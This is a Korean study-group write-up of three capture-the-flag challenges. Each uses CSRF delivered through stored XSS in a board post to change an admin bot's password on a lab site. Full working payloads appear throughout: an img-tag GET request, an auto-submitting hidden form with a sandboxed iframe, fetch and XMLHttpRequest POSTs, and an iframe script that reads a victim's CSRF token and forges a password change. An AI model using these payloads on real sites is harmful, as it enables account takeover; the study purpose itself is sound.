모의해킹 스터디 과제

모의해킹 스터디 12주차 과제: CTF - CSRF로 관리자 비번 변경

whydontyoushovel 2025. 1. 29. 18:26

 

목차

1) CTF 1: GET방식에서 CSRF

2) CTF 2: POST방식에서 CSRF

3) CTF 3: POST + CSRF Token

 

*서버의 alert를 실행시키지 않는 법

 

 

 

 

 

 

  CTF 1        

GET 방식 요청으로 CSRF 공격

 

 

 

 

1) 문제 사이트에 회원가입하면 해당하는 admin 계정 생성

(id: gaga -> admin id: gaga_admin)

 

2) 문제 사이트에서 CSRF 포인트를 찾아 공격 페이로드 작성

 

3) 요청 위조할 링크를 admin 계정에 전달

 

4) admin 계정이 해당 링크에 접속

 

5) 요청 위조되어 admin 계정의 비번 바뀜

 

6) admin 계정으로 로그인하여 flag 획득

 

 

≫ 목표:

관리자 계정으로 접속하기

 

≫ 해야할 요청 위조:

관리자 비번 변경

 

 

 

 

 

▷ 탐색하기

gaga / qwer 계정으로 회원가입 후 로그인

 

개인정보 변경에 필요한 정보를 확인하기 위해
로그인한 계정에서 마이페이지로 접속

 

qwer이었던 비밀번호를 1234로 변경

 

비밀번호 변경 과정을 버프 스위트로 확인한 결과 pw라는 파라미터를 POST 방식으로 전달함
이때 비밀번호 등의 인증 정보를 필요로 하고 있지 않음
또한 정보 변경 이후 alert를 출력한 뒤 마이페이지로 리다이렉션하고 있음

 

POST방식으로 전달되던 데이터를 GET방식으로 전달해본 결과
데이터가 정상적으로 처리되고 있음을 확인

 

개인정보 변경 시 인증 정보 필요 없음

정보 변경 요청을 POST에서 GET으로 바꿔도 정상 작동함

 

 

 

▷ 페이로드 작성

제로클릭 공격 시나리오

 

가장 단순한 방법으로 정보 변경 페이지의 링크를 전달함

관리자가 공격을 금방 알아챘다는 경고창 발견

 

변경한 비밀번호로 로그인 불가
이미 비밀번호를 바꾼 것으로 보임

 

  • 관리자 봇이 공격을 눈치챈 이유를 알아내야함.

관리자 봇이 접속했을 url 링크로 이동

접속이 되자마자 회원 정보 수정 완료 alert창이 뜨는 것을 볼 수 있음.

 

  • 관리자 봇이 눈치채는 이유는 1차적으로 alert창 때문일 확률이 큼
  • GET방식 링크를 이용하되 alert창을 띄울 일 없이 위조된 요청을 보낼 공격 방법 필요
  • 사이트 내 XSS 취약점이 발견되면 img태그를 활용할 수 있음

사이트 내 XSS 취약점을 찾기 위해 게시판 접속

 

사이트 게시물 내용 출력 시
HTML 특수문자를 HTML Entity로 치환하지 않는지 확인하기 위해
임의의 게시물을 작성

게시물 업로드 후 해당 게시물의 html 문서를 확인
제목과 내용 모두 특수문자를 치환하지 않고 있음

 

XSS 일어날 수 있음

요청 위조 url을 포함한 이미지 태그를 게시글에 추가한 뒤 저장

 

확인 차 게시글을 읽어봄
alert 창은 출력되지 않고 있음

 

또한 버프 스위트 요청 기록을 확인한 결과 게시글을 읽은 후 개인정보 변경을 요청하고 있음.
개인정보 변경 요청에 대한 응답으로 회원 정보 수정을 정상 수행했다는 응답을 확인할 수 있음.

 

이 방법을 통해 게시물을 읽는 것만으로

위조된 요청을 하게 만드는 제로 클릭 공격이 완성됨

 

 

▷ 공격하기

페이로드가 포함된 게시글의 링크를 관리자 봇에게 공유

 

gaga_admin / 1234로 로그인

 

alert창에 출력된 flag를 획득

 

 

 

 

 

 

  CTF 2        

POST 방식 요청에서 CSRF 공격

 

 

**문제 구성은 CTF 1과 같음

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

▷ 탐색하기

gaga / qwer 계정으로 회원가입 후 로그인

 

마이페이지에 접속 후 비밀번호 변경

비밀번호 변경에 성공하여 alert창 출력됨
로그아웃 처리되어 index 페이지로 리다이렉션됨

 

정보 변경 시 보낸 요청 데이터를 확인
pw 파라미터를 POST방식으로 전달하고 있고 이때 인증 정보를 필요로 하고 있지 않음
정보 변경에 성공할 경우 alert 창 출력된 후 로그아웃 처리된 채 index 페이지로 리다이렉션됨

 

  • POST 방식을 GET 방식으로 바꿔도 요청이 정상 처리되는지 확인

요청 방식을 바꿔도 정보 변경에 성공하는지 확인하기에 앞서
로그인한 상태의 세션아이디를 얻기 위해 로그인 진행

 

로그인한 뒤 index를 요청한 요청 데이터에서 phpsessid를 복사함
리피터로 보낸 개인정보 변경 요청에 phpsessid를 붙여넣음
요청 데이터가 완전한지 확인하기 위해 전송한 뒤 응답 값 확인 (요청 데이터 완전함)

 

GET 요청으로 바꾸어 전송
응답 결과, GET 요청은 서버에서 처리하지 못하고 있음을 확인함
POST 방식을 유지한 상태에서 CSRF 공격을 시도해야함
  • POST 방식으로 데이터를 전송할 때는 form 태그를 활용해야함.
  • form 태그를 활용하기 위해서는 문제 사이트에서 XSS를 찾아야함.

XSS 취약점을 찾기 위해서 게시판에 특수문자가 포함된 임의의 게시글을 작성

 

이 게시글을 버프 스위트로 확인한 결과
작성한 특수문자가 HTML Entity로 치환되지 않고 있음을 확인
  • XSS가 일어날 수 있음

 

 

▷ 페이로드 작성

>> 기본 폼 제출 자동화 스크립트

<iframe name="frame" style="display:none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" target="frame" id="myForm">
    <input name="pw" value="asdf" type="hidden"> 
</form>
<script>
    document.getElementById('myForm').submit();
</script>

관리자 봇에게 위 스크립트가 포함된 페이지를 공유했을 때
관리자가 공격을 알아차렸다는 경고창이 출력됨

1번 문제와 마찬가지로 alert가 원인으로 생각됨.
대신 게시글을 읽은 것만으로 개인정보가 정상적으로 변경되었음을 알 수 있음

 

  • alert 반응을 우회할 방법이 필요함

>> contentWindow.alert=function(){};로 iframe 내부 alert 초기화 시도

 

1) alert가 실행되는 위치

  • iframe 내부 스크립트 (mypage_update.php)

2) alert가 실행되는 타이밍

  • iframe이 로드되면서 alert 만났을 때 실행

3) alert 초기화 타이밍

  • iframe 완전히 로드되기 전 (alert 실행 전)
  • form 제출 후

☞ iframe의 onload나 window.onload 핸들러로 alert를 초기화할 경우 iframe이 모두 로드된 후이므로 alert는 이미 실행됨

☞ form의 onsubmit 핸들러로 alert를 초기화할 경우 iframe 속 alert가 정의되지 않음. (정의되지 않음==로드되지 않음. 즉 정의된다는 것은 이미 로드되어 alert가 실행됐다는 뜻이 됨)

재정의하려면 alert가 로드되어야하므로 contentWindow.alert로 초기화하는 방법은 alert 실행을 막기에 적절하지 못함.

 

 

>> iframe의 sandbox 속성 활용

 

1) sandbox 속성이란

  • iframe 내부 콘텐츠에 대해 제한 사항을 추가 설정하는 기능
  • allow-scripts 를 설정하지 않는 한 iframe 내부의 자바스크립트 실행을 차단함
  • 자세한 기능은 아래에서 확인

https://www.tcpschool.com/html-tag-attrs/iframe-sandbox

 

코딩교육 티씨피스쿨

4차산업혁명, 코딩교육, 소프트웨어교육, 코딩기초, SW코딩, 기초코딩부터 자바 파이썬 등

tcpschool.com

 

2) 필요한 스크립트

<iframe name="frame" style="display:none;" sandbox></iframe>

 

3) 적용하기

sandbox 속성을 포함한 스크립트를 작성한 뒤 게시글 업로드

 

작성한 게시글 확인
alert는 뜨지 않음

 

게시글 요청 기록을 버프 스위트로 확인
id가 248번인 게시글을 요청한 뒤 POST 방식으로 개인정보 변경을 요청하고 있음
이 요청은 정상 처리되어 회원정보 수정에 성공함

 

 

 

▷ 공격하기

게시글 링크를 관리자 봇에 공유

 

gaga_admin / asdf 로 로그인

alert 창에 출력된 flag 확인

 

 

 

▷ 다른 공격 생각하기

1) 지금까지 시도한 공격

  • post + alert 초기화 -> 실패
  • post + iframe의 sandbox 설정 -> 성공

2) 새로운 방식

  • fetch, XMLHttpRequest 방식으로 POST 데이터 전달

3) 특징

  • 서버에 데이터를 보내고 받은 응답을 비동기적으로 활용할 때 잘 쓰임 (서버에 요청 보내는 동안 html 렌더링 안 멈춤)
  • 예를 들어 post로 받은 데이터가 서버에서 정상처리되면 a라는 안내문을, 처리에 실패하면 b라는 안내문을 DOM에 추가
  • 받은 응답을 활용하지 않는 한 단순 문자열로 처리함 (스크립트 등 실행 안됨)

4) 필요한 스크립트

<script>
fetch('http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php', 
{method:'POST', 
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: 'pw=qwer'});
</script>

 

5) 적용하기

fetch 스크립트를 포함한 게시물 작성 후 업로드

 

작성한 게시글 확인
alert 안 뜸

 

게시글 읽고난 후 요청한 기록을 확인
id가 249인 게시글 읽기를 요청한 후 개인정보 변경을 요청하고 있음
정보 변경 요청은 정상적으로 처리됨

 

6) 공격하기

csrf 공격 페이로드를 포함한 게시글을 관리자 봇에게 공유

 

gaga_admin / qwer로 로그인

 

flag 획득

 

7) XMLHttpRequest 코드

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST','http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php',true);
    xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    xhr.send('pw=asdw');
</script>
  • Content-Type 헤더의 application/x-www-form-urlencoded는 서버에서 $_POST같은 슈퍼 글로벌 변수로 파라미터를 처리할 때 사용함
  • xhr.open의 true 매개변수는 요청을 html렌더링 진행과 무관하게 비동기적으로 진행하기 위해 필요함

 

 

 

  CTF 3        

CSRF Token을 포함한 POST 방식 요청에서 CSRF 공격

 

 

* 얘도 문제 구성 CTF 1,2와 같음

 

 

 

 

 

 

 

 

 

 

 

 

 

▷ 탐색하기

회원가입한 gaga / 1234 계정으로 로그인

 

요청 위조에 필요한 정보를 알기 위해
1234였던 비밀번호를 qwer로 수정

 

비밀번호 변경 요청 시 두 파라미터를 요청 본문에 포함시킴
pw와 csrf_token이 필요함
정보 변경이 정상적으로 처리되면 alert가 출력된 후 index 페이지로 리다이렉션 되고 있음

 

  • csrf_token을 생략해도 요청이 처리되는지 확인해야함
  • csrf_token 없이 요청이 처리되지 않는다면 이 값이 어디서 추가되는지 알아야 함

1) csrf_token 없이 요청 전송

csrf_token이 있을 땐 정상 처리되던 요청이
csrf_token 파라미터를 삭제하고 재전송하자 처리 실패하고 있음

 

csrf_token 파라미터 필요함

  • 사용자마다 랜덤으로 부여되는 csrf_token이 어디서 발급되어, 어떻게 데이터를 추출할 수 있는지 알아야 함
  • 마이페이지 폼 제출을 통해 개인정보를 변경했으므로 마이페이지부터 확인

2) csrf_token이 발급되는 장소

<input type="hidden" name="csrf_token" value="6888c97849d9e5877bad4b096fca66e4">
마이페이지의 비밀번호 input 박스 아래에 hidden 상태로 csrf_token이 포함되어있음

 

<script>
    document.getElementsByName('csrf_token')[0].value
</script>
위와 같은 스크립트로 csrf_token 값에 접근할 수 있음

 

  • 위조할 요청에 csrf_token 값을 포함시키려면 iframe으로 피해자의 토큰값에 접근해서 추출한 뒤 POST 파라미터에 추가하여 요청을 보내야함

3) GET 방식으로 전송해보기

요청 처리 불가
POST 방식을 사용해야함

 

4) POST방식에 사용할 XSS 취약점 찾기

XSS 취약점을 찾기 위해 html 특수문자를 포함한 게시글 작성

 

게시글 읽어보기

버프 스위트로 확인한 결과 특수문자가 html entity로 치환되지 않음

 

POC 테스트를 위해 글 수정

 

게시글을 읽어들이자 alert 창이 출력됨

게시글 읽기 위치에서 XSS 취약점 발견됨

 

 

▷ 페이로드 작성

  • alert를 피하기 위해 2번에서 찾은 방법 중 fetch 방식으로 요청을 전송함

1) 첫번째 시도 (실패: 요청이 전송되지 않음)

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" 
id="tokenFrame" style="display:none;" onload="
var fr=document.getElementById('tokenFrame').contentDocument;
var token=fr.getElementsByName('csrf_token')[0].value;"></iframe>

<script>
    fetch('http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php',{
    method:'POST',
    headers: {'Content-Type':'application/x-www-form-urlencoded'},
    body: `pw=qwer&csrf_token=${token}`});
</script>

 

<간략한 코드 설명>
>> iframe에 마이페이지를 띄워서 iframe이 모두 로드된 후 내부 DOM요소에 접근하여 csrf_token 값을 추출
>> 탈취한 csrf_token을 포함하여 fetch 방식으로 요청 전송

요청 위조 코드가 포함된 게시글 작성

 

작성한 게시글 읽음

 

게시글을 읽은 뒤 마이페이지 또한 요청되었지만 정보 변경 요청은 기록에서 찾을 수 없음
mypage_update.php에 요청이 가지 않음

 

이유를 찾기 위해 게시글 페이지에서 콘솔창 확인
token 값이 정의되지 않음
  • csrf_token 데이터에 접근하는 게 문제일 수 있음
  • 혹은 csrf_token 데이터에 접근하여 token 변수에 저장하기 전에 요청 전송이 시도된 걸 수 있음
  • 확인을 위해 onload 핸들러에 console.log(token);을 추가함

csrf_token 데이터에 접근은 하는 건지 확인하기 위해 게시글 코드에 console.log 추가
데이터에 접근이 가능하다면 콘솔 창에 토큰 값이 출력될 것

 

수정한 게시글을 읽어들이자 콘솔 창에 토큰 값 출력됨
토큰 데이터에는 잘 접근하고 있음
하지만 여전히 정보 변경 요청은 보내지지 않고 있음
onload와 fetch 타이밍이 안 맞을 확률이 높아 보임

 

2) 두번째 시도 (window.onload 후 요청 전송)

  • 토큰 값을 변수에 저장한 뒤 요청을 전송해야함
  • onload에서 토큰 값 탈취한 뒤 window.onload로 요청 전송하여 iframe의 리소스가 로드된 후 토큰 값을 탈취하고, 현재 페이지의 모든 요소가 로드된 뒤 개인정보 변경을 요청하도록 함
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" 
id="tokenFrame" style="display:none;" onload="
var fr=document.getElementById('tokenFrame').contentDocument;
var token=fr.getElementsByName('csrf_token')[0].value;"></iframe>

<script>
    window.onload=function(){   
      fetch('http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php',{
      method:'POST',
      headers: {'Content-Type':'application/x-www-form-urlencoded'},
      body: `pw=qwer&csrf_token=${token}`});
    };
</script>

window.onload 핸들러를 추가하여 새 게시글 작성

게시글 읽기

 

버프 스위트와 콘솔 창을 확인한 결과 여전히 토큰 값이 정의되지 않고 있음

 

  • 토큰 추출, 요청 전송 두 과정을 따로 진행하는 게 문제가 되고 있는 듯함
  • 확실히 순차적으로 처리하기 위해 iframe의 onload 핸들러에 같이 적어 봄 

3) 세번째 시도

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" 
id="tokenFrame" style="display:none;" onload="
var fr=document.getElementById('tokenFrame').contentDocument;
var token=fr.getElementsByName('csrf_token')[0].value;      
fetch('http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php',{
      method:'POST',
      headers: {'Content-Type':'application/x-www-form-urlencoded'},
      body: `pw=qwer&csrf_token=${token}`});">
</iframe>

iframe의 onload 핸들러에
토큰 탈취 + 토큰 콘솔창에 출력 + 토큰 포함한 요청 전송을
모두 포함한 게시글 작성

 

게시글 읽기

 

게시글 읽기를 요청한 뒤
마이페이지 요청과 정보 변경 요청을 차례로 전송한 기록 발견
정보 변경 요청에 csrf_token이 포함되어 있고
이에 대한 응답으로 정보 수정에 성공했다는 것을 알 수 있음

 

 

 

 

▷ 공격하기

페이로드를 포함한 게시글 링크를 관리자 봇에게 공유

 

gaga_admin / qwer 계정으로 로그인

 

flag 획득

 

 

 

요약

♪ CTF 1  

key: 요청 방식 변경(POST -> GET)

alert를 우회하기 위해 이미지 태그 활용

 

CTF 2  

key: POST 요청 (iframe + form)

alert를 우회

 -> contentWindow.alert는 의미 없음 (클라이언트 측에서 초기화 안됨)

 -> iframe의 sandbox 활용

 -> fetch 혹은 XMLHttpRequest 활용

 

CTF 3  

key: POST 요청 + 토큰 탈취

alert 우회

스크립트 타이밍 조절

 -> iframe의 onload에서 토큰 탈취 + 스크립트 태그에서 요청 전송

   (토큰 정의 안됨)

 -> iframe의 onload에서 토큰 탈취 + window.onload에서 요청 전송

   (토큰 정의 안됨)

 -> iframe의 onload에서 토큰 탈취하고 요청 전송

   (성공)